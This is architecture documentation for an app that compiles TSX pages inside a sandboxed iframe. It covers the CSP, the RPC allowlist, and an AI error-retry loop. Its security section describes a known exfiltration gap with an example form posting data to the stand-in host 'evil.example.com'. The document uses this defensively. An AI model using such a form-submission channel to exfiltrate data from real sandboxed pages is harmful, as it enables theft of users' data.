Frontend Architecture
The frontend is a static app shell that compiles TSX pages at runtime. Custom pages run inside a sandboxed iframe that communicates with the parent via postMessage RPC. This page explains each layer in detail.
Compilation pipeline
Section titled “Compilation pipeline”Page compilation is a three-stage process split across the parent app and the sandbox iframe:
1. Transform (Sucrase) — in parent
Section titled “1. Transform (Sucrase) — in parent”Raw TSX source is transformed to JavaScript using Sucrase. Sucrase handles TypeScript types, JSX syntax, and import/export statements in a single fast pass.
TSX source → Sucrase → CommonJS JavaScriptSucrase is configured with three transforms: typescript, jsx, and imports. The output uses CommonJS (require / module.exports) so the next stage can intercept imports. Compilation errors are caught in the parent and displayed without sending code to the iframe.
2. Execute (module loader) — in iframe
Section titled “2. Execute (module loader) — in iframe”The compiled JavaScript is sent to the sandboxed iframe via postMessage. Inside the iframe, it is wrapped in a Function constructor with a custom require function injected. When the code calls require('@alchemify/ui'), the custom loader resolves it from the iframe’s module registry — a plain object mapping package names to their exports.
// Simplified — what happens inside the iframeconst fn = new Function('require', 'module', 'exports', code);fn(customRequire, module, exports);The loader then extracts the React component from the module’s exports, checking in order:
module.exportsitself (if it’s a function)module.exports.default- The first export that is a function
3. Render — in iframe
Section titled “3. Render — in iframe”The iframe mounts the extracted React component inside its own QueryClientProvider and error boundary. The iframe reports content height changes to the parent via postMessage so the parent can auto-size the iframe element.
Iframe sandbox
Section titled “Iframe sandbox”Custom pages execute inside an iframe with sandbox="allow-scripts allow-forms" (no allow-same-origin). This gives each page an opaque origin, isolating it from:
- The parent app’s DOM, localStorage, cookies, and session
- Other browser tabs and iframes
The primary browser-enforced exfil barrier is the CSP meta tag connect-src 'none'; img-src data: in apps/web/sandbox.html. It blocks fetch, XMLHttpRequest, WebSocket, EventSource, navigator.sendBeacon, and image URLs; it also stops Worker fetches via inheritance. The auth API additionally rejects requests from opaque origins via CORS as a server-side backstop.
Security model (defense in depth)
Section titled “Security model (defense in depth)”Four layers, listed in order of how absolutely they hold:
| # | Layer | Enforced by | Protects against |
|---|---|---|---|
| 1 | Iframe sandbox attribute (sandbox="allow-scripts allow-forms", see apps/web/src/components/SandboxedPage.tsx) | Browser | Parent DOM / cookies / storage access, top-level navigation, popups |
| 2 | CSP meta tag (apps/web/sandbox.html) | Browser | Network exfiltration via fetch / XHR / WebSocket / EventSource / sendBeacon / Image / Worker fetch (see gap below for what is not covered) |
| 3 | Parent RPC method allowlist (RPC_METHODS in apps/web/src/sandbox/sandboxRpc.ts) | App | Iframe → parent calls outside the explicit allowlist; payload size / type validation |
| 4 | Node AST validator (apps/chat/src/validate-page-source.ts) | App | AI-generated TSX that uses obviously forbidden APIs — see below |
Layers 1+2 are the primary network exfil boundary. They are browser-enforced and apply unconditionally to every iframe load, so L4 is not the line of defense for exfiltration — L4 exists so AI-generated pages fail with a clear, fixable error message (the LLM can read the violation and retry) rather than silently no-op’ing at runtime.
L3 limits what the iframe can ask the parent to do on its behalf; it is not an exfil barrier. The methods on the allowlist (e.g. rawSql) execute with the caller’s existing privileges, so a sandboxed page is bounded by what the user could already do via the SQL proxy directly — no more, no less.
Known gap — HTML form submission. The CSP does not currently set form-action, and the iframe carries allow-forms. A sandboxed page that obtains data via L3 RPC can therefore exfiltrate it via a cross-origin <form action="https://evil.example.com" method="POST"> submission, because connect-src does not govern form navigation. Top-level navigation is still blocked by the missing allow-top-navigation, so the form must submit inside the iframe — which is sufficient for exfil but means the parent app is unaffected. Closing this would be a one-line CSP addition (form-action 'none'); it is tracked as a follow-up rather than fixed here so the audit stays scoped.
WebRTC nuance. connect-src 'none' blocks server-reflexive / relay ICE candidate gathering (no STUN/TURN reach), but Chromium still emits local mDNS host candidates from inside an opaque-origin sandbox. Those candidates contain mDNS hostnames rather than real IPs, and a peer connection still requires a remote answer to actually open a data channel — so this is not a meaningful exfil vector here, but it is not literally “WebRTC is blocked.”
L4 trust boundary: validatePageSource() is called from the chat tool flows only (apps/chat/src/execute-tools/pages.ts, apps/chat/src/fix-component.ts). Pages written through other paths — for example, an admin issuing SQL via the proxy — are not validated. That is intentional: such admins already have arbitrary DDL/DML access, so this is not a privilege escalation.
postMessage RPC
Section titled “postMessage RPC”The iframe cannot make API calls directly. Instead, @alchemify/data’s rawSql and exec functions send RPC requests to the parent via postMessage:
Page calls rawSql(query, params) → iframe posts {id, method: "rawSql", args: [query, params]} to parent → parent validates method + args, proxies call with JWT → parent posts {id, result} or {id, error} back to iframe → Promise resolves/rejects in page codeThe parent enforces an explicit method allowlist (see RPC_METHODS in apps/web/src/sandbox/sandboxRpc.ts for the current set — rawSql, formattedSql, apiGet/apiPost against an allowlisted path set, getTableMeta, findChildFk, uploadFile, callDbFunction against an allowlisted DB-function set, and fetchFile / fetchFilePreview). Each handler validates argument types, the dispatcher caps payload size at 1 MB, and the iframe-side client applies a 5-second timeout per request.
Module registry
Section titled “Module registry”Pages import functionality from @alchemify/* packages. These are not npm packages — they’re entries in a registry object that the app shell populates at boot.
| Package | What it provides |
|---|---|
@alchemify/ui | Button, Card (+ sub-components), Input, Badge, Table (+ sub-components), Tabs (+ sub-components), DataTable, Label, Checkbox, Textarea, AlertDialog (+ sub-components), Tooltip (+ sub-components), Wizard, WizardStep, useWizard, FileField — shadcn/ui components + file upload widget |
@alchemify/data | useSql (pass { tableName } on single-table reads to auto-enrich choice __label / __color; pass { rawDates: true } when seeding <input type="date"> / <input type="datetime-local"> so values stay in raw ISO form), useQuery, useMutation, useQueryClient, exec, rawSql |
@alchemify/sql | sql tagged template, joinSQL, raw |
@alchemify/auth | useAuth() — current user |
@alchemify/nav | useNavigate, useParams, useSearchParams, Link |
@alchemify/layout | Page, PageHeader, Stack, Grid, Loading, ErrorBoundary |
@alchemify/util | cn() (class merger), formatDate(), toast(), groupBy(), nest() (single- and multi-level) |
Example page
Section titled “Example page”import { Page, PageHeader } from '@alchemify/layout';import { useAuth } from '@alchemify/auth';import { Card, CardHeader, CardTitle, CardContent } from '@alchemify/ui';
export default function Dashboard() { const user = useAuth(); return ( <Page> <PageHeader title={`Welcome, ${user.name}`} description="Your dashboard" /> <Card> <CardHeader><CardTitle>Hello</CardTitle></CardHeader> <CardContent>This is a TSX page stored in the database.</CardContent> </Card> </Page> );}Layout primitives
Section titled “Layout primitives”Stack and Grid wrap the two Tailwind patterns every non-trivial page reaches for:
<Stack gap="sm|md|lg">→space-y-2|4|6. Defaultmd.<Grid cols={n} smCols? mdCols? lgCols? gap="sm|md|lg">→grid grid-cols-{n}plus optionalsm:/md:/lg:breakpoints andgap-{2|4|6}.colsaccepts 1–6.
Both accept a className passthrough (merged via cn() / twMerge). <Page> already stacks its direct children with space-y-6, so use <Stack> for nested rhythm (inside Cards, report sections, form bodies). <Grid> renders a <div> — keep semantic elements (<dl>, <table>) raw.
import { Stack, Grid } from '@alchemify/layout';
<Grid cols={1} mdCols={2} lgCols={3} gap="md"> <Card>…</Card><Card>…</Card><Card>…</Card></Grid>
<Stack gap="md"> <Card>…</Card> <Card>…</Card></Stack>The candidate Tailwind classes (grid-cols-{1..6}, sm:/md:/lg:grid-cols-{1..6}, gap-{2,4,6}, space-y-{2,4,6}) are safelisted via @source inline(...) in apps/web/src/index.css because they’re built from props at runtime.
Error handling
Section titled “Error handling”Errors are caught at three levels:
- Compile-time (parent) — if Sucrase can’t parse the source, the parent shows a
CompilationErrorcard without sending code to the iframe. - Execute-time (iframe) — if the
Functionconstructor or module loader fails, the iframe reports{type: "error", phase: "execute"}to the parent. - Runtime (iframe) — if the component throws during React rendering, an error boundary catches it and reports
{type: "error", phase: "render"}to the parent.
All error states are non-fatal — the rest of the app (sidebar, layout) stays functional.
AI error feedback loop
Section titled “AI error feedback loop”When the chat preview surfaces an error — either while rendering an AI-proposed page, or after the user confirms a tool call that fails server-side — the system automatically feeds the error back to the AI so it can self-heal without the user having to type “the above shows an error xxx”.
Error types detected:
| Error type | Source | How it’s caught |
|---|---|---|
| Compilation error | Sucrase fails to parse the TSX | PageRenderer onError callback (render path) |
| Runtime render error | React component throws during render | ErrorBoundary in PageRenderer (render path) |
| Database query error | useSql/exec call fails | Dedicated QueryClient with QueryCache.onError in PreviewQueryProvider (render path) |
| Tool execution error | A confirmed propose_* tool call fails server-side (FK violations, schema errors, etc.) | useToolExecution forwards result.error via onExecuted (execution path) |
How it works:
The render path and execution path share one budget (MAX_AUTO_RETRY_ATTEMPTS = 3) governed by useChatAutoRetry.
Render path (page preview errors, before user confirm):
- The AI streams
propose_create_page/propose_update_page/preview_page. PageWidgetrenders the proposed source in a live preview viaPageRenderer.PageRendererreports errors viaonError(compilation/render) andPreviewQueryProvider’sQueryCache.onError(data).PageWidgetfilters infrastructure noise (see below) and forwards real errors toChatThread.onPageError.useChatAutoRetryauto-rejects the pending tool call (approved: false) and synthesises a user message containing the error + full source.
Execution path (any tool call that fails server-side after user confirms):
- User confirms a proposal —
useToolExecution.confirmcallsexecuteTooland gets back{ error: "..." }. - The hook forwards
executionErrortoChatThread.handleToolExecutedviaonExecuted. - When
executionErroris set,ChatThreadskips the standardcontinueConversation(which would also push the AI to respond) and instead routes touseChatAutoRetry. useChatAutoRetrydoes not auto-reject (status is alreadyerror) and synthesises a user message containing the tool name + error.
In both paths the AI receives a direct prompt to diagnose + propose a fix. The budget caps at 3 attempts; rate-limit responses (HTTP 429) don’t burn a slot. The counter resets when the user manually sends a message or switches conversations.
Infrastructure error filtering:
Not all errors indicate a problem with the AI-generated page. PageWidget filters out known infrastructure errors that are unrelated to the page source:
- CSP violations — Content Security Policy blocks from the preview sandbox
- HMR errors — Vite Hot Module Replacement noise during development
- Vite/bundler errors — Build tool artifacts that leak into error boundaries
These are identified by pattern-matching the error message. Only errors that indicate actual page defects (bad syntax, undefined variables, failed SQL queries) trigger the feedback loop.
System prompt guidance:
The chat service system prompt (in apps/chat/src/ai.ts) includes explicit guidance to help the AI avoid common errors that trigger this loop — for example, never importing modules that are not in the @alchemify/* registry. This reduces the frequency of errors that need automatic correction.
Key files:
| File | Role |
|---|---|
apps/web/src/components/builder/useChatAutoRetry.ts | Shared budget + retry orchestration for both paths |
apps/web/src/components/PageRenderer.tsx | onError callback, PreviewQueryProvider with QueryCache.onError |
apps/web/src/components/builder/widgets/PageWidget.tsx | Render-error detection, infrastructure filtering, forwards to onPageError |
apps/web/src/components/builder/widgets/useToolExecution.ts | Forwards executionError to onExecuted so chat can detect tool failures |
apps/web/src/components/builder/ChatThread.tsx | Wires render path (onPageError) and execution path (handleToolExecuted) into the retry hook |
apps/chat/src/ai.ts | System prompt with “never import” guidance |
apps/chat/src/app.ts | Handles rejected tool_result in conversation history |
Code organization
Section titled “Code organization”New frontend features land in apps/web/src/features/<name>/ — colocate components, hooks, and feature-local lib code. Existing flat code under components/, lib/, and pages/ migrates opportunistically when touched, not in a big-bang refactor. CRUD stays where it is unless its shape is being reworked.
Do not extract features into separate packages/* workspaces. The runtime module boundary that matters (what AI-authored TSX can import) already lives in apps/web/src/modules/ — duplicating it at the package level adds versioning and build ceremony without benefit at current scale. Reconsider only when a second consumer (separate admin app, mobile shell) appears.
Adding a new module
Section titled “Adding a new module”To make a new package available to TSX pages:
- Create a module file, e.g.
apps/web/src/modules/charts.ts, exporting the components. - Add the module to both registries:
apps/web/src/compiler/registry.ts— used by the builder preview (PageRenderer)apps/web/src/sandbox/registry.ts— used by the sandboxed iframe runtime
- If the module needs network access (like
@alchemify/data), the sandbox version must use the RPC client instead of directfetch. - Never read parent state directly from sandbox-side modules. The iframe’s opaque origin causes
localStorage, cookies, andparent.window.*access to throw. Any value the parent holds (auth token, current schema, theme) must be passed in via thepostMessageprotocol and exposed to widgets as a factory dep — see how@alchemify/widgetsreceivesgetAppSchemaNameinapps/web/src/sandbox/registry.ts. Importing@/lib/apifrom a sandbox-reachable module is a smell. - If adding to
@alchemify/ui, update the canonical component registry inpackages/types/src/ui-components.ts. The chat service reads this at runtime to tell the AI exactly which components are available. A test automatically verifies the registry matchesui.ts. - Rebuild the app — pages can now
import { BarChart } from '@alchemify/charts'.
Note: FileField from @alchemify/ui is not available in sandboxed pages because it requires direct API access for file uploads. The sandbox UI module exports all other components.
App context
Section titled “App context”The frontend supports multiple apps (schema-per-app). Each app maps to a PostgreSQL schema registered in sys.apps. The active app is encoded in the URL as a path prefix (/:schema/*), making it bookmarkable and shareable.
URL structure
Section titled “URL structure”/:schema/* — all app-scoped routes/apps — app picker / management/login, /signup, /set-password — auth routes (global)/ — smart redirect (last-used → /:schema, else → /apps)How it works
Section titled “How it works”AppProvider accepts a schema prop derived from useParams().schema in the parent route. It syncs the schema to the api.ts module variable and localStorage so every apiFetch call includes the X-App-Schema HTTP header. The backend’s resolveAppSchema() validates the header and sets search_path accordingly.
The appUrl(path) helper in routes.ts prefixes any app-scoped path with /${schema}. CRUD components use entityPath()/entityUrl() which call appUrl() internally, so they get schema-prefixed paths with zero callsite changes.
Key components:
| Component | Purpose |
|---|---|
AppContext / useApp() | Provides activeSchema, setActiveSchema(), clearActiveSchema() |
AppPicker | Full-page picker at /apps for selecting or creating an app (admin/owner can create) |
AppSwitcher | Sidebar popover for switching, renaming, or deleting apps |
Switching apps
Section titled “Switching apps”setActiveSchema(name) updates localStorage, sets the module-level header variable, calls queryClient.clear() to prevent cross-app data leakage, and navigates to /${name}. clearActiveSchema() navigates to /apps. The schema query key includes the active schema (["schema", activeSchema]), so TanStack Query auto-refetches on switch.
A useEffect in AppProvider clears the query cache when the schema prop changes via URL (browser back/forward, URL bar edits) to prevent cross-app data leakage for navigations that bypass setActiveSchema().
Error recovery
Section titled “Error recovery”If the schema fetch fails while an app is selected (e.g., the schema was deleted), SchemaContext auto-clears the active schema, returning the user to /apps.
Bundle splitting
Section titled “Bundle splitting”The base app shell loads two static chunks at first paint: main (app entry: routing, layout, CRUD components) and an auto-extracted shared vendor chunk (React, react-router, tanstack-query, Radix, sonner). Heavier features sit behind React.lazy boundaries in App.tsx, so admin-only code is never downloaded by non-admin users, and feature chunks like the AI builder load only when the user navigates to them:
| Lazy boundary | What it pulls out of main |
|---|---|
BuilderLayout (admin /builder/*) | AI chat UI, conversation list, message widgets |
NewAppWizard (/apps/new) | Wizard step components |
SandboxedPage (/page/:slug, sys/settings, sys/users) | TSX-in-DB compiler (sucrase ~104 kB) — loads when a custom page is opened (admins and non-admins alike) |
SystemDashboard, AdminRelations, AdminPages, AdminOrgSettings | Admin-only pages |
@sentry/react SDK | Lazy import("@sentry/react") in lib/error-monitoring.ts, post-mount |
chart.js | Loaded on-demand by the @alchemify/charts sandbox module |
The react-markdown/remark/micromark stack is reachable from both the wizard (InterviewStep) and the builder chat — Rollup hoists it into a shared lazy chunk that loads alongside whichever boundary the user hits first.
Lazy targets in App.tsx are named exports, so each React.lazy call uses the .then((m) => ({ default: m.X })) wrapper. Each lazy route element is wrapped in <Suspense>; admin/wizard fallbacks are null (no flash for hover paths), and SandboxedPage uses a small “Loading…” placeholder because PageBySlug already returns null while usePages() resolves.
To inspect chunk composition:
ANALYZE=1 pnpm -F @alchemify/web buildopen apps/web/dist/stats.htmlbuild.chunkSizeWarningLimit is set to 650 kB. Two chunks legitimately exceed Vite’s 500 kB default: the auto-extracted shared vendor chunk (loads alongside main regardless) and the lazy Sentry chunk (loads post-paint). New static deps that push main past the limit should be lazy-loaded; the limit catches real regressions in the shared/lazy chunks.
Live updates
Section titled “Live updates”Page changes propagate via application-layer signaling: UI mutation paths (builder, chat, admin pages) invalidate React Query caches, and BroadcastChannel relays invalidations to other same-origin tabs. Changes made outside these paths (direct SQL, psql, external writers) are not propagated — the browser picks them up on refresh. We deliberately avoid PostgreSQL LISTEN/NOTIFY (incompatible with transaction pooling, requires a pinned backend per tenant); when a database-driven feed becomes necessary, the planned path is a transactional outbox table polled by a worker.
Known limitation — sandbox iframe writes don’t reach other tabs. Custom pages render inside an iframe sandboxed allow-scripts allow-forms (no allow-same-origin), so the iframe document runs at a unique opaque origin. BroadcastChannel is same-origin restricted, so a broadcastInvalidate() call from inside the iframe (where custom-page widgets render) reaches neither the parent tab nor any other tab. Cross-tab invalidation works only when both writer and listener are in the parent app — auto-CRUD pages, admin views, the builder. A write inside a custom-page widget refreshes that page’s own widgets (in-iframe path), but a list view open in a second tab will not refresh until the user reloads it. An iframe→parent→cross-tab postMessage bridge would close the gap; we deferred it (#716) because the typical builder-iteration flow already gets a fresh load when the link is reopened, leaving only end-users-with-multiple-tabs-of-their-own-app as the impacted scenario.